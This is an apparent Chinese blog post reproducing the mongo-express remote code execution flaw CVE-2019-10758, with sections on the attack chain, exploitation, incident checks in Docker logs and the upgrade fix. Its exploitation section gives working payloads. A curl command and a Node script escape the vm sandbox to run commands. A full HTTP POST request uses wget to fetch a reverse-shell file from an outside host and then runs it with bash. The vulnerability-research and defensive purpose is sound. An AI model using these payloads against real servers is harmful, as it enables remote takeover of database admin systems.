Mongo-Express RCE(CVE-2019-10758)复现排查

目录

概述

影响版本

漏洞复现

应急排查

加固建议

参考链接


概述

Mongo-express是MongoDB数据库管理工具,类似Navicat对应Mysql的关系,其使用Node.js,Express和Bootstrap3编写的基于Web的MongoDB图形化管理界面。

漏洞问题出在lib/bson.js中的toBSON()函数中,路由 /checkValid 从外部接收输入,并调用了存在 RCE 漏洞的代码,由此存在被攻击的风险。

影响版本

mongo-express < 0.54.0

漏洞复现

1、攻击链

1. 路由 /checkValid 可以接收用户的输入,并将其作为参数调用存在漏洞的 bson.toBSON 函数
2. bson.toBSON 使用了不安全的 vm 模块来执行用户输入的代码
3. 恶意代码在执行时成功沙盒逃逸,任意代码执行

2、利用代码

(1)curl exploit

curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'

(2)script exploit

node main.js
exploit = "this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')"
 
var bson = require('mongo-express/lib/bson')
bson.toBSON(exploit)

3、反弹shell

通过wget方式远程下载反弹shell文件

 
 

POST /checkValid HTTP/1.1
Host: 192.168.52.131:8081
Content-Length: 203
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.52.131:8081
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.52.131:8081/checkVali
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: experimentation_subject_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTBaVGd3WlRCbExXTXdaV0l0TkRJeFpTMDVPRFl3TFRRMFpqZ3hObVF4WmpkbU1pST0iLCJleHAiOm51bGwsInB1ciI6ImNvb2tpZS5leHBlcmltZW50YXRpb25fc3ViamVjdF9pZCJ9fQ%3D%3D--f48c6e729d1a83e5acdd4acbdabdbd041b684e84; mongo-express=s%3A7Un_UuJXrhL8iEZ6xTpTqX5YPsi9U8is.ROmPXg%2Bo2C9hxhYkylb%2BHkptCE2WKpwdcdD9gMdCNTE
Connection: close

document=this.constructor.constructor%28%22return+process%22%29%28%29.mainModule.require%28%22child_process%22%29.execSync%28%22wget+http%3A%2F%2F192.168.52.133%3A8000%2Fshell.txt+-O+%2Ftmp%2Fshell%22%29

 执行下载到本地的shell文件

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("bash /tmp/shell")

 

应急排查

1、通过docker logs排查

命令 ”dokcer logs -f 容器ID“,可以在次日志中搜索”checkValid“关键字

 

2、mongodb-express自身访问日志

morgan是express默认的日志中间件,也可以脱离express,作为node.js的日志组件单独使用。

但在此容器环境中,morgan模块是默认没有配置的,故不能通过mongodb-express本身的日志排查

 

 

 

加固建议

升级到mongo-express 0.54.0或更高版本

https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2

参考链接

cve-2019-10758 mongo-express rce 漏洞分析 - 灰信网(软件开发博客聚合)

cve-2019-10758 mongo-express rce 漏洞分析_whatday的博客-CSDN博客

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值